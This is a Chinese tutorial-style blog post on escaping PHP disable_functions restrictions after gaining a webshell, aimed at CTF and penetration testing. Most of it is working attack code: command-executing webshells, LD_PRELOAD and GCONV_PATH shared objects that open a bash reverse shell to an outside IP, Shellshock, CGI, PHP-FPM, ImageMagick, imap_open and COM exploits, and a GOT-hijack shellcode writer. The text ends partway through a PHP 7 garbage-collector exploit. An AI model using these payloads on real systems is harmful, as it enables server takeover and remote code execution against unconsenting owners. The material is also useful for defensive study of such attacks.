突破disable_function限制执行命令
突破disable_function限制执行命令
ph0ebus
发布于 2023-08-26 15:19:13
发布于 2023-08-26 15:19:13
- 在CTF和渗透测试中，经常会碰到获取到webshell但只能干瞪眼无法执行命令的情况，这往往是disable_functions在作妖，如果用蚁剑等webshell管理工具连接，在终端中执行任意命令的结果都是
ret=127。因此我们需要突破disable_functions限制执行命令。
简介
disable_functions 是 php.ini 中的一个设置选项。可以用来设置PHP环境禁止使用某些函数，通常是网站管理员为了安全起见，用来禁用某些危险的命令执行函数等。(eval 在 php 中不属于函数，因此 disable_functions 对它不起作用)
The eval() language construct is very dangerous because it allows execution of arbitrary PHP code.
寻找漏网之鱼
查找php.ini中是否有遗漏的危险函数
system,passthru,exec,shell_exec,popen,proc_open,pcntl_execpassthru()：执行外部程序并且显示原始输出
<?php passthru("whoami");?>popen()：打开一个指向进程的管道，该进程由派生给定的 command 命令执行而产生。
<?php
$command=$_GET['cmd'];
$handle = popen($command , "r");
while(!feof($handle)) {
echo fread($handle, 1024);
}
pclose($handle);
?>proc_open：执行一个命令，并且打开用来输入/输出的文件指针。类似 popen() 函数， 但是 proc_open() 提供了更加强大的控制程序执行的能力
<?php
$command="ipconfig";
$descriptorspec = array(1 => array("pipe", "w"));
$handle = proc_open($command ,$descriptorspec , $pipes);
while(!feof($pipes[1])) {
echo fread($pipes[1], 1024);
}
?>pcntl_exec：在当前进程空间执行指定程序。pcntl是linux下的一个扩展，可以支持php的多线程操作。
<?php
if(function_exists('pcntl_exec')) {
$cmd = "/path/to/command";
$args = array("arg1", "arg2");
pcntl_exec($cmd, $args);
} else {
echo 'pcntl extension is not support!';
}
?>利用 LD_PRELOAD 环境变量
讨论 LD_PRELOAD 前，先了解程序的链接。所谓链接，也就是说编译器找到程序中所引用的函数或全局变量所存在的位置。一般来说，程序的链接分为静态链接和动态链接。静态链接就是把所有所引用到的函数或变量全部地编译到可执行文件中。动态链接则不会把函数编译到可执行文件中，而是在程序运行时动态地载入函数库。所以，对于动态链接来说，必然需要一个动态链接库。动态链接库的好处在于，一旦动态库中的函数发生变化，可执行程序无需重新编译。这对于程序的发布、维护、更新起到了积极的作用。对于静态链接的程序来说，函数库中一个小小的改动需要整个程序的重新编译、发布，对于程序的维护产生了比较大的工作量。
在UNIX的动态链接库的世界中，LD_PRELOAD就是这样一个环境变量，它可以影响程序的运行时的链接（Runtime linker），它允许你定义在程序运行前优先加载的动态链接库。这个功能主要就是用来有选择性的载入不同动态链接库中的相同函数。通过这个环境变量，我们可以在主程序和其动态链接库的中间加载别的动态链接库，甚至覆盖正常的函数库。
通过 ldd 命令可查看程序或者库文件所依赖的共享库列表，一般情况下，其加载顺序为
LD_PRELOAD > LD_LIBRARY_PATH > /etc/ld.so.cache > /lib > /usr/lib劫持函数
通过putenv()函数将LD_PRELOAD设置为指定恶意动态链接库(.so)文件路径，利用其加载优先级高劫持任意函数执行的内容，从而达到不调用 PHP 的各种命令执行函数仍可执行系统命令的目的。这时候需要一个不在disable_functions内的PHP函数，又能在调用时运行系统可执行程序。
这里以 mail() 为例，mail 函数是一个发送邮件的函数，当使用到这玩意儿发送邮件时会使用到系统程序/usr/sbin/sendmail，我们如果能劫持到 sendmail 触发的函数，那么就可以达到执行任意系统命令的目的了。
可以使用readelf -Ws /usr/sbin/sendmail命令查看 sendmail 命令可能调用的库函数，strace -f可查看具体执行过程中调用的函数，这里拿 geteuid() 函数为例
#include <stdlib.h>
#include <stdio.h>
#include <string.h>
void payload() {
system("bash -c 'bash -i >& /dev/tcp/101.42.xx.xx/23333 0>&");
}
int geteuid() {
if (getenv("LD_PRELOAD") == NULL) {
return 0;
}
// 还原函数调用关系，用函数 unsetenv() 解除
unsetenv("LD_PRELOAD"); /
payload();
}将 c 编译为动态链接库
gcc hack.c -shared -fPIC -o hack.so然后执行php函数
<?php
putenv("LD_PRELOAD=/tmp/hack.so"); // 编译.c文件后的.so文件位置
mail("","","","");
?>与此类似的php函数还有error_log()和mb_send_mail()
error_log("",1,"","");
mb_send_mail("","","");但这里存在一个鸡肋的问题，sendmail没有安装怎么办，它可不是默认安装的
预加载共享对象
参考文章: https://www.freebuf.com/web/192052.html
系统通过LD_PRELOAD预先加载共享对象，如果在加载时就执行代码，就不用劫持函数以此绕过disable_function。GCC 有个 C 语言扩展修饰符 __attribute__((constructor))，可以让由它修饰的函数在 main() 之前执行，若它出现在共享对象中时，那么一旦共享对象被系统加载，立即将执行 __attribute__((constructor)) 修饰的函数。
#include <stdlib.h>
#include <string.h>
__attribute__((constructor))void payload() {
unsetenv("LD_PRELOAD");
system("bash -c 'bash -i >& /dev/tcp/101.42.xx.xx/23333 0>&1");
}利用 GCONV_PATH 环境变量
linux系统提供了一个环境变量：GCONV_PATH，该环境变量能够使glibc使用用户自定义的 gconv-modules 文件。gconv-modules 文件中包含了各个字符集的相关信息存储的路径，每个字符集的相关信息存储在一个.so文件中，即 gconv-modules 文件提供了各个字符集的 .so 文件所在位置。
php 的 iconv 函数的第一个参数是字符集的名字，这个参数会传递到 glibc 的 iconv_open 函数的参数中。iconv_open 函数依照GCONV_PATH找到 gconv-modules 文件。接着根据 gconv-modules 文件的指示找到参数对应的 .so 文件。然后调用 .so 文件中的 gconv() 和 gconv_init() 函数。
这里就可以劫持函数执行任意命令了
#include <stdio.h>
#include <stdlib.h>
void gconv() {
}
void gconv_init() {
system("bash -c 'bash -i >& /dev/tcp/101.42.xx.xx/23333 0>&1");
}编译为 .so 文件
gcc exp.c -shared -fPIC -o exp.so在可写目录新建 gconv-modules 文件
module PAYLOAD// INTERNAL /tmp/exp 2
module INTERNAL PAYLOAD// /tmp/exp 2然后执行php代码触发
<?php
putenv("GCONV_PATH=/tmp/");
iconv("payload", "UTF-8", "whatever");
?>类似的，还可以通过php过滤器触发
<?php
putenv("GCONV_PATH=/tmp/");
include('php://filter/read=convert.iconv.exp.utf-8/resource=/tmp/exp.so');
?>利用 ShellShock
该方法利用的Bash Shellshock 破壳漏洞（CVE-2014-6271）
- php < 5.6.2
- bash <= 4.3
Bash使用的环境变量是通过函数名称来调用的，导致漏洞出问题是以(){开头定义的环境变量在命令ENV中解析成函数后，Bash执行并未退出，而是继续解析并执行shell命令。而其核心的原因在于在输入的过滤中没有严格限制边界，也没有做出合法化的参数判断。
命令行输入env x='() { :;}; echo vulnerable' bash -c "echo this is a test"
如果输出了vulnerable，则说明存在bash破壳漏洞
<?php
# Exploit Title: PHP 5.x Shellshock Exploit (bypass disable_functions)
# Google Dork: none
# Date: 10/31/2014
# Exploit Author: Ryan King (Starfall)
# Vendor Homepage: http://php.net
# Software Link: http://php.net/get/php-5.6.2.tar.bz2/from/a/mirror
# Version: 5.* (tested on 5.6.2)
# Tested on: Debian 7 and CentOS 5 and 6
# CVE: CVE-2014-6271
function shellshock($cmd) { // Execute a command via CVE-2014-6271 @mail.c:283
$tmp = tempnam(".","data");
putenv("PHP_LOL=() { x; }; $cmd >$tmp 2>&1");
// In Safe Mode, the user may only alter environment variableswhose names
// begin with the prefixes supplied by this directive.
// By default, users will only be able to set environment variablesthat
// begin with PHP_ (e.g. PHP_FOO=BAR). Note: if this directive isempty,
// PHP will let the user modify ANY environment variable!
//mail("a@127.0.0.1","","","","-bv"); // -bv so we don't actuallysend any mail
error_log('a',1);
$output = @file_get_contents($tmp);
@unlink($tmp);
if($output != "") return $output;
else return "No output, or not vuln.";
}
echo shellshock($_REQUEST["cmd"]);
?>利用 Apache Mod CGI
CGI（通用网关接口Common Gateway Interface）是Web服务器和运行在其上的应用程序进行“交流”的一种约定。早期每次用户请求动态脚本，Web服务器都要重新Fork创建一个新进程去启动CGI程序，由CGI程序来处理动态脚本，处理完成后进程随之关闭。这样效率十分低下。而对于Mod CGI，Web服务器会在启动的时候就启动这些解释器。 当有新的动态请求进来时，Web服务器就是自己解析这些动态脚本，省得重新Fork一个进程，效率提高了。
任何具有MIME类型application/x-httpd-cgi或者被cgi-script处理器处理的文件都将被作为CGI脚本对待并由服务器运行，它的输出将被返回给客户端。可以通过两种途径使文件成为CGI脚本，一种是文件具有已由AddType指令定义的扩展名，另一种是文件位于ScriptAlias目录中。
Apache在配置开启CGI后可以用ScriptAlias指令指定一个目录，指定的目录下面便可以存放可执行的CGI程序。若是想临时允许一个目录可以执行CGI程序并且使得服务器将自定义的后缀解析为CGI程序执行，则可以在目的目录下使用htaccess文件进行配置，如下：
Options +ExecCGI
AddHandler cgi-script .ant由于CGI程序可以执行命令，那我们可以利用CGI来执行系统命令绕过disable_functions。
上传shell.ant
#!/bin/sh
echo Content-type: text/html
echo ""
echo&&id给shell.ant加上可执行权限，访问shell.ant可得到命令执行结果
利用 FastCGI/PHP-FPM
https://www.leavesongs.com/PENETRATION/fastcgi-and-php-fpm.html
上面说到 CGI 每次处理动态脚本都会fork一个进程，执行完毕随之关闭，这样效率很低。于是有了Apache Mod CGI，这里要讨论的是另一种，FastCGI，它每次处理完请求后，不会kill掉这个进程，而是保留这个进程，使这个进程可以一次处理多个请求。
FPM就是Fastcgi的协议解析器，Web服务器使用CGI协议封装好用户的请求发送给FPM。FPM按照CGI的协议将TCP流解析成真正的数据。由于FPM默认监听的是9000端口，我们就可以绕过Web服务器，直接构造Fastcgi协议，和FPM进行通信。于是就有了利用 Webshell 直接与 FPM 通信 来绕过 disable functions 的姿势。
类比HTTP协议来说，CGI协议是Web服务器和解释器进行数据交换的协议，它由多条record组成，每一条record都和HTTP一样，也由header和body组成，Web服务器将这二者按照CGI规则封装好发送给解释器，解释器解码之后拿到具体数据进行操作，得到结果之后再次封装好返回给Web服务器。
和HTTP头不同，record的header头部固定的是8个字节，body是由头中的contentLength指定，其结构如下：
typedef struct
{
HEAD
unsigned char version; //版本
unsigned char type; //类型
unsigned char requestIdB1; //id
unsigned char requestIdB0;
unsigned char contentLengthB1; //body大小
unsigned char contentLengthB0;
unsigned char paddingLength; //额外大小
unsigned char reserved;
BODY
unsigned char contentData[contentLength];//主要内容
unsigned char paddingData[paddingLength];//额外内容
}FCGI_Record;了解了协议原理和内容，接下来就是使用CGI协议封装请求，通过Socket来直接与FPM通信。那怎么执行任意命令呢？
p神通过PHP-FPM的环境变量PHP_VALUE和PHP_ADMIN_VALUE设置php.ini配置项，通过配置项auto_prepend_file和auto_append_file结合php://input包含任意php代码并执行，并且修改了远程文件包含选项allow_url_include为on
{
'GATEWAY_INTERFACE': 'FastCGI/1.0',
'REQUEST_METHOD': 'GET',
'SCRIPT_FILENAME': '/var/www/html/index.php',
'SCRIPT_NAME': '/index.php',
'QUERY_STRING': '?a=1&b=2',
'REQUEST_URI': '/index.php?a=1&b=2',
'DOCUMENT_ROOT': '/var/www/html',
'SERVER_SOFTWARE': 'php/fcgiclient',
'REMOTE_ADDR': '127.0.0.1',
'REMOTE_PORT': '12345',
'SERVER_ADDR': '127.0.0.1',
'SERVER_PORT': '80',
'SERVER_NAME': "localhost",
'SERVER_PROTOCOL': 'HTTP/1.1'
'PHP_VALUE': 'auto_prepend_file = php://input',
'PHP_ADMIN_VALUE': 'allow_url_include = On'
}p神写的的exp
import socket
import random
import argparse
import sys
from io import BytesIO
# Referrer: https://github.com/wuyunfeng/Python-FastCGI-Client
PY2 = True if sys.version_info.major == 2 else False
def bchr(i):
if PY2:
return force_bytes(chr(i))
else:
return bytes([i])
def bord(c):
if isinstance(c, int):
return c
else:
return ord(c)
def force_bytes(s):
if isinstance(s, bytes):
return s
else:
return s.encode('utf-8', 'strict')
def force_text(s):
if issubclass(type(s), str):
return s
if isinstance(s, bytes):
s = str(s, 'utf-8', 'strict')
else:
s = str(s)
return s
class FastCGIClient:
"""A Fast-CGI Client for Python"""
# private
__FCGI_VERSION = 1
__FCGI_ROLE_RESPONDER = 1
__FCGI_ROLE_AUTHORIZER = 2
__FCGI_ROLE_FILTER = 3
__FCGI_TYPE_BEGIN = 1
__FCGI_TYPE_ABORT = 2
__FCGI_TYPE_END = 3
__FCGI_TYPE_PARAMS = 4
__FCGI_TYPE_STDIN = 5
__FCGI_TYPE_STDOUT = 6
__FCGI_TYPE_STDERR = 7
__FCGI_TYPE_DATA = 8
__FCGI_TYPE_GETVALUES = 9
__FCGI_TYPE_GETVALUES_RESULT = 10
__FCGI_TYPE_UNKOWNTYPE = 11
__FCGI_HEADER_SIZE = 8
# request state
FCGI_STATE_SEND = 1
FCGI_STATE_ERROR = 2
FCGI_STATE_SUCCESS = 3
def __init__(self, host, port, timeout, keepalive):
self.host = host
self.port = port
self.timeout = timeout
if keepalive:
self.keepalive = 1
else:
self.keepalive = 0
self.sock = None
self.requests = dict()
def __connect(self):
self.sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
self.sock.settimeout(self.timeout)
self.sock.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
# if self.keepalive:
# self.sock.setsockopt(socket.SOL_SOCKET, socket.SOL_KEEPALIVE, 1)
# else:
# self.sock.setsockopt(socket.SOL_SOCKET, socket.SOL_KEEPALIVE, 0)
try:
self.sock.connect((self.host, int(self.port)))
except socket.error as msg:
self.sock.close()
self.sock = None
print(repr(msg))
return False
return True
def __encodeFastCGIRecord(self, fcgi_type, content, requestid):
length = len(content)
buf = bchr(FastCGIClient.__FCGI_VERSION) \
+ bchr(fcgi_type) \
+ bchr((requestid >> 8) & 0xFF) \
+ bchr(requestid & 0xFF) \
+ bchr((length >> 8) & 0xFF) \
+ bchr(length & 0xFF) \
+ bchr(0) \
+ bchr(0) \
+ content
return buf
def __encodeNameValueParams(self, name, value):
nLen = len(name)
vLen = len(value)
record = b''
if nLen < 128:
record += bchr(nLen)
else:
record += bchr((nLen >> 24) | 0x80) \
+ bchr((nLen >> 16) & 0xFF) \
+ bchr((nLen >> 8) & 0xFF) \
+ bchr(nLen & 0xFF)
if vLen < 128:
record += bchr(vLen)
else:
record += bchr((vLen >> 24) | 0x80) \
+ bchr((vLen >> 16) & 0xFF) \
+ bchr((vLen >> 8) & 0xFF) \
+ bchr(vLen & 0xFF)
return record + name + value
def __decodeFastCGIHeader(self, stream):
header = dict()
header['version'] = bord(stream[0])
header['type'] = bord(stream[1])
header['requestId'] = (bord(stream[2]) << 8) + bord(stream[3])
header['contentLength'] = (bord(stream[4]) << 8) + bord(stream[5])
header['paddingLength'] = bord(stream[6])
header['reserved'] = bord(stream[7])
return header
def __decodeFastCGIRecord(self, buffer):
header = buffer.read(int(self.__FCGI_HEADER_SIZE))
if not header:
return False
else:
record = self.__decodeFastCGIHeader(header)
record['content'] = b''
if 'contentLength' in record.keys():
contentLength = int(record['contentLength'])
record['content'] += buffer.read(contentLength)
if 'paddingLength' in record.keys():
skiped = buffer.read(int(record['paddingLength']))
return record
def request(self, nameValuePairs={}, post=''):
if not self.__connect():
print('connect failure! please check your fasctcgi-server !!')
return
requestId = random.randint(1, (1 << 16) - 1)
self.requests[requestId] = dict()
request = b""
beginFCGIRecordContent = bchr(0) \
+ bchr(FastCGIClient.__FCGI_ROLE_RESPONDER) \
+ bchr(self.keepalive) \
+ bchr(0) * 5
request += self.__encodeFastCGIRecord(FastCGIClient.__FCGI_TYPE_BEGIN,
beginFCGIRecordContent, requestId)
paramsRecord = b''
if nameValuePairs:
for (name, value) in nameValuePairs.items():
name = force_bytes(name)
value = force_bytes(value)
paramsRecord += self.__encodeNameValueParams(name, value)
if paramsRecord:
request += self.__encodeFastCGIRecord(FastCGIClient.__FCGI_TYPE_PARAMS, paramsRecord, requestId)
request += self.__encodeFastCGIRecord(FastCGIClient.__FCGI_TYPE_PARAMS, b'', requestId)
if post:
request += self.__encodeFastCGIRecord(FastCGIClient.__FCGI_TYPE_STDIN, force_bytes(post), requestId)
request += self.__encodeFastCGIRecord(FastCGIClient.__FCGI_TYPE_STDIN, b'', requestId)
self.sock.send(request)
self.requests[requestId]['state'] = FastCGIClient.FCGI_STATE_SEND
self.requests[requestId]['response'] = b''
return self.__waitForResponse(requestId)
def __waitForResponse(self, requestId):
data = b''
while True:
buf = self.sock.recv(512)
if not len(buf):
break
data += buf
data = BytesIO(data)
while True:
response = self.__decodeFastCGIRecord(data)
if not response:
break
if response['type'] == FastCGIClient.__FCGI_TYPE_STDOUT \
or response['type'] == FastCGIClient.__FCGI_TYPE_STDERR:
if response['type'] == FastCGIClient.__FCGI_TYPE_STDERR:
self.requests['state'] = FastCGIClient.FCGI_STATE_ERROR
if requestId == int(response['requestId']):
self.requests[requestId]['response'] += response['content']
if response['type'] == FastCGIClient.FCGI_STATE_SUCCESS:
self.requests[requestId]
return self.requests[requestId]['response']
def __repr__(self):
return "fastcgi connect host:{} port:{}".format(self.host, self.port)
if __name__ == '__main__':
parser = argparse.ArgumentParser(description='Php-fpm code execution vulnerability client.')
parser.add_argument('host', help='Target host, such as 127.0.0.1')
parser.add_argument('file', help='A php file absolute path, such as /usr/local/lib/php/System.php')
parser.add_argument('-c', '--code', help='What php code your want to execute', default='<?php phpinfo(); exit; ?>')
parser.add_argument('-p', '--port', help='FastCGI port', default=9000, type=int)
args = parser.parse_args()
client = FastCGIClient(args.host, args.port, 3, 0)
params = dict()
documentRoot = "/"
uri = args.file
content = args.code
params = {
'GATEWAY_INTERFACE': 'FastCGI/1.0',
'REQUEST_METHOD': 'POST',
'SCRIPT_FILENAME': documentRoot + uri.lstrip('/'),
'SCRIPT_NAME': uri,
'QUERY_STRING': '',
'REQUEST_URI': uri,
'DOCUMENT_ROOT': documentRoot,
'SERVER_SOFTWARE': 'php/fcgiclient',
'REMOTE_ADDR': '127.0.0.1',
'REMOTE_PORT': '9985',
'SERVER_ADDR': '127.0.0.1',
'SERVER_PORT': '80',
'SERVER_NAME': "localhost",
'SERVER_PROTOCOL': 'HTTP/1.1',
'CONTENT_TYPE': 'application/text',
'CONTENT_LENGTH': "%d" % len(content),
'PHP_VALUE': 'auto_prepend_file = php://input',
'PHP_ADMIN_VALUE': 'allow_url_include = On'
}
response = client.request(params, content)
print(force_text(response))利用 ImageMagick
https://www.leavesongs.com/PENETRATION/CVE-2016-3714-ImageMagick.html
ImageMagick是一款使用量很广的图片处理程序，很多厂商都调用了这个程序进行图片处理，包括图片的伸缩、切割、水印、格式转换等等。
在 ImageMagick 的默认配置文件 /etc/ImageMagick/delegates.xml 里可以看到所有的委托。这个文件定义了很多占位符，比如 %i 是输入的文件名，%l 是图片exif label信息。而在后面 command 的位置，%i 和 %l 等占位符被拼接在命令行中。这个漏洞也因此而来，被拼接完毕的命令行传入了系统的system函数，而我们只需使用反引号或闭合双引号，来执行任意命令。如果在phpinfo中看到有这个ImageMagick，可以尝试一下
- Imagemagick < 6.9.3-10
- Imagemagick < 7.0.1-1
- PHP >= 5.4
<?php
echo "Disable Functions: " . ini_get('disable_functions') . "\n";
$command = PHP_SAPI == 'cli' ? $argv[1] : $_GET['cmd'];
if ($command == '') {
$command = 'id';
}
$exploit = <<<EOF
push graphic-context
viewbox 0 0 640 480
fill 'url(https://example.com/image.jpg"|$command")'
pop graphic-context
EOF;
file_put_contents("KKKK.mvg", $exploit);
$thumb = new Imagick();
$thumb->readImage('KKKK.mvg');
$thumb->writeImage('KKKK.png');
$thumb->clear();
$thumb->destroy();
unlink("KKKK.mvg");
unlink("KKKK.png");
?>利用 imap_open() 绕过
- 安装了imap扩展
- imap.enable_insecure_rsh选项为On。
imap_open函数在将邮箱名称传递给rsh或ssh命令之前没有正确地过滤邮箱名称。如果启用了rsh和ssh功能并且rsh命令是ssh命令的符号链接，可以发送包含-oProxyCommand参数的恶意IMAP服务器名称来利用此漏洞
exp
<?php
error_reporting(0);
if (!function_exists('imap_open')) {
die("no imap_open function!");
}
$server = "x -oProxyCommand=echo\t" . base64_encode($_GET['cmd'] . ">/tmp/cmd_result") . "|base64\t-d|sh}";
//$server = 'x -oProxyCommand=echo$IFS$()' . base64_encode($_GET['cmd'] .">/tmp/cmd_result") . '|base64$IFS$()-d|sh}';
imap_open('{' . $server . ':143/imap}INBOX', '', ''); // or
var_dump("nnError: ".imap_last_error());
sleep(5);
echo file_get_contents("/tmp/cmd_result");
?>利用 Windows 组件 COM 绕过
COM component（COM组件）是微软开发的软件开发技术。其实质是一些小的二进制可执行程序，它们可以给应用程序，操作系统以及其他组件提供服务。而在php中如果想要引用第三方动态库，需要通过 new COM(“Component.class”) 的方法来实现，其中的 Component 必须是COM组件
- 要求
com.allow_dcom = true - 目标服务器为Windows系统
- 在php/ext/目录下存在php_com_dotnet.dll这个文件
com.allow_dcom默认是不开启的，PHP 7版本开始要自己添加扩展extension=php_com_dotnet.dll
创建一个COM对象,通过调用COM对象的exec替我们执行命令
<?php
$wsh = isset($_GET['wsh']) ? $_GET['wsh'] : 'wscript';
if($wsh == 'wscript') {
$command = $_GET['cmd'];
$wshit = new COM('WScript.shell') or die("Create Wscript.Shell Failed!");
$exec = $wshit->exec("cmd /c".$command);
$stdout = $exec->StdOut();
$stroutput = $stdout->ReadAll();
echo $stroutput;
}
elseif($wsh == 'application') {
$command = $_GET['cmd'];
$wshit = new COM("Shell.Application") or die("Shell.Application Failed!");
$exec = $wshit->ShellExecute("cmd","/c ".$command);
}
else {
echo(0);
}
?>劫持 got 表绕过
got表是什么呢，可以参考这篇文章深入理解GOT表和PLT表 | 合天网安
在动态链接的情况下，程序加载的时候并不会把链接库中所有函数都一起加载进来，而是程序执行的时候按需加载，如果有函数并没有被调用，那么它就不会在程序生命中被加载进来。简单说就是，函数第一次用到的时候才会把在自己的真实地址给写到相应的got表里，没用到就不绑定了。这就是延迟绑定，由于这个机制，第一次调用函数的时候，got表中“存放”的地址不是函数的真实地址，而是plt 表中的第二条汇编指令，接下来会进行一系列操作装载相应的动态链接库，将函数的真实地址写在got表中。以后调用该函数时，got表保存着其真实地址。
这里劫持got表就是修改函数的got表的地址的内容为我们的shellcode的地址
- step 1:通过php脚本解析/proc/self/exe得到open函数的got表的地址。
- step 2:通过读取/proc/self/maps得到程序基地址，栈地址，与libc基地址。
- step 3:通过php脚本解析libc得到system函数的地址，结合libc基地址（两者相加）可以得到system函数的实际地址。
- step 4:通过读写/proc/self/mem实现修改open函数的got表的地址的内容为我们的shellcode的地址。向我们指定的shellcode的地址写入我们的shellcode。
exp（命令无回显，如果没有权限读写/proc/self/mem，自然也就无法利用了）
<?php /***
*
* BUG修正请联系我
* @author
* @email xiaozeend@pm.me *
*/
/*
section tables type
*/
define('SHT_NULL',0);
define('SHT_PROGBITS',1);
define('SHT_SYMTAB',2);
define('SHT_STRTAB',3);
define('SHT_RELA',4);
define('SHT_HASH',5);
define('SHT_DYNAMIC',6);
define('SHT_NOTE',7);
define('SHT_NOBITS',8);
define('SHT_REL',9);
define('SHT_SHLIB',10);
define('SHT_DNYSYM',11);
define('SHT_INIT_ARRAY',14);
define('SHT_FINI_ARRAY',15);
//why does section tables have so many fuck type
define('SHT_GNU_HASH',0x6ffffff6);
define('SHT_GNU_versym',0x6fffffff);
define('SHT_GNU_verneed',0x6ffffffe);
class elf{
private $elf_bin;
private $strtab_section=array();
private $rel_plt_section=array();
private $dynsym_section=array();
public $shared_librarys=array();
public $rel_plts=array();
public function getElfBin()
{
return $this->elf_bin;
}
public function setElfBin($elf_bin)
{
$this->elf_bin = fopen($elf_bin,"rb");
}
public function unp($value)
{
return hexdec(bin2hex(strrev($value)));
}
public function get($start,$len){
fseek($this->elf_bin,$start);
$data=fread ($this->elf_bin,$len);
rewind($this->elf_bin);
return $this->unp($data);
}
public function get_section($elf_bin=""){
if ($elf_bin){
$this->setElfBin($elf_bin);
}
$this->elf_shoff=$this->get(0x28,8);
$this->elf_shentsize=$this->get(0x3a,2);
$this->elf_shnum=$this->get(0x3c,2);
$this->elf_shstrndx=$this->get(0x3e,2);
for ($i=0;$i<$this->elf_shnum;$i+=1){
$sh_type=$this->get($this->elf_shoff+$i*$this->elf_shentsize+4,4);
switch ($sh_type){
case SHT_STRTAB:
$this->strtab_section[$i]=
array(
'strtab_offset'=>$this->get($this->elf_shoff+$i*$this->elf_shentsize+24,8),
'strtab_size'=>$this->strtab_size=$this->get($this->elf_shoff+$i*$this->elf_shentsize+32,8)
);
break;
case SHT_RELA:
$this->rel_plt_section[$i]=
array(
'rel_plt_offset'=>$this->get($this->elf_shoff+$i*$this->elf_shentsize+24,8),
'rel_plt_size'=>$this->strtab_size=$this->get($this->elf_shoff+$i*$this->elf_shentsize+32,8),
'rel_plt_entsize'=>$this->get($this->elf_shoff+$i*$this->elf_shentsize+56,8)
);
break;
case SHT_DNYSYM:
$this->dynsym_section[$i]=
array(
'dynsym_offset'=>$this->get($this->elf_shoff+$i*$this->elf_shentsize+24,8),
'dynsym_size'=>$this->strtab_size=$this->get($this->elf_shoff+$i*$this->elf_shentsize+32,8),
'dynsym_entsize'=>$this->get($this->elf_shoff+$i*$this->elf_shentsize+56,8)
);
break;
case SHT_NULL:
case SHT_PROGBITS:
case SHT_DYNAMIC:
case SHT_SYMTAB:
case SHT_NOBITS:
case SHT_NOTE:
case SHT_FINI_ARRAY:
case SHT_INIT_ARRAY:
case SHT_GNU_versym:
case SHT_GNU_HASH:
break;
default:
// echo "who knows what $sh_type this is? ";
}
}
}
public function get_reloc(){
$rel_plts=array();
$dynsym_section= reset($this->dynsym_section);
$strtab_section=reset($this->strtab_section);
foreach ($this->rel_plt_section as $rel_plt ){
for ($i=$rel_plt['rel_plt_offset'];$i<$rel_plt['rel_plt_offset']+$rel_plt['rel_plt_size'];$i+=$rel_plt['rel_plt_entsize'])
{
$rel_offset=$this->get($i,8);
$rel_info=$this->get($i+8,8)>>32;
$fun_name_offset=$this->get($dynsym_section['dynsym_offset']+$rel_info*$dynsym_section['dynsym_entsize'],4);
$fun_name_offset=$strtab_section['strtab_offset']+$fun_name_offset-1;
$fun_name='';
while ($this->get(++$fun_name_offset,1)!=""){
$fun_name.=chr($this->get($fun_name_offset,1));
}
$rel_plts[$fun_name]=$rel_offset;
}
}
$this->rel_plts=$rel_plts;
}
public function get_shared_library($elf_bin=""){
if ($elf_bin){
$this->setElfBin($elf_bin);
}
$shared_librarys=array();
$dynsym_section=reset($this->dynsym_section);
$strtab_section=reset($this->strtab_section);
for($i=$dynsym_section['dynsym_offset']+$dynsym_section['dynsym_entsize'];$i<$dynsym_section['dynsym_offset']+$dynsym_section['dynsym_size'];$i+=$dynsym_section['dynsym_entsize'])
{
$shared_library_offset=$this->get($i+8,8);
$fun_name_offset=$this->get($i,4);
$fun_name_offset=$fun_name_offset+$strtab_section['strtab_offset']-1;
$fun_name='';
while ($this->get(++$fun_name_offset,1)!=""){
$fun_name.=chr($this->get($fun_name_offset,1));
}
$shared_librarys[$fun_name]=$shared_library_offset;
}
$this->shared_librarys=$shared_librarys;
}
public function close(){
fclose($this->elf_bin);
}
public function __destruct()
{
$this->close();
}
public function packlli($value) {
$higher = ($value & 0xffffffff00000000) >> 32;
$lower = $value & 0x00000000ffffffff;
return pack('V2', $lower, $higher);
}
}
$test=new elf();
$test->get_section('/proc/self/exe');
$test->get_reloc(); // 获得各函数的got表的地址
$open_php=$test->rel_plts['open'];
$maps = file_get_contents('/proc/self/maps');
preg_match('/(\w+)-(\w+)\s+.+\[stack]/', $maps, $stack);
preg_match('/(\w+)-(\w+).*?libc-/',$maps,$libcgain);
$libc_base = "0x".$libcgain[1];
echo "Libc base: ".$libc_base."\n";
echo "Stack location: ".$stack[1]."\n";
$array_tmp = explode('-',$maps);
$pie_base = hexdec("0x".$array_tmp[0]);
echo "PIE base: ".$pie_base."\n";
$test2=new elf();
$test2->get_section('/usr/lib64/libc-2.17.so');
$test2->get_reloc();
$test2->get_shared_library(); // 解析libc库，得到libc库函数的相对地址
$sys = $test2->shared_librarys['system'];
$sys_addr = $sys + hexdec($libc_base);
echo "system addr:".$sys_addr."\n";
$mem = fopen('/proc/self/mem','wb');
$shellcode_loc = $pie_base + 0x2333;
fseek($mem,$open_php);
fwrite($mem,$test->packlli($shellcode_loc));
$command=$_GET['cmd']; // 我们要执行的命令
$stack=hexdec("0x".$stack[1]);
fseek($mem, $stack);
fwrite($mem, "{$command}\x00");
$cmd = $stack;
$shellcode = "H\xbf".$test->packlli($cmd)."H\xb8".$test->packlli($sys_addr)."P\xc3";
fseek($mem,$shellcode_loc);
fwrite($mem,$shellcode);
readfile('zxhy');
// highlight_file('zxhy');
// show_source('zxhy');
// file_get_contents('zxhy');
exit();利用 GC UAF
此漏洞利用 PHP 垃圾收集器中一个三年前的bug来绕过 disable_functions 并执行系统命令。
- Linux 操作系统
- PHP7.0 - all versions to date
- PHP7.1 - all versions to date
- PHP7.2 - all versions to date
- PHP7.3 - all versions to date
exp: https://github.com/mm0r1/exploits/blob/master/php7-gc-bypass/exploit.php
<?php
# PHP 7.0-7.3 disable_functions bypass PoC (*nix only)
#
# Bug: https://bugs.php.net/bug.php?id=72530
#
# This exploit should work on all PHP 7.0-7.3 versions
#
# Author: https://github.com/mm0r1
pwn("uname -a");
function pwn($cmd) {
global $abc, $helper;
function str2ptr(&$str, $p = 0, $s = 8) {
$address = 0;
for($j = $s-1; $j >= 0; $j--) {
$address <<= 8;
$address |= ord($str[$p+$j]);
}
return $address;
}
function ptr2str($ptr, $m = 8) {
$out = "";
for ($i=0; $i < $m; $i++) {
$out .= chr($ptr & 0xff);
$ptr >>= 8;
}
return $out;
}
function write(&$str, $p, $v, $n = 8) {
$i = 0;
for($i = 0; $i < $n; $i++) {
$str[$p + $i] = chr($v & 0xff);
$v >>= 8;
}
}
function leak($addr, $p = 0, $s = 8) {
global $abc, $helper;
write($abc, 0x68, $addr + $p - 0x10);
$leak = strlen($helper->a);
if($s != 8) { $leak %= 2 << ($s * 8) - 1; }
return $leak;
}
function parse_elf($base) {
$e_type = leak($base, 0x10, 2);
$e_phoff = leak($base, 0x20);
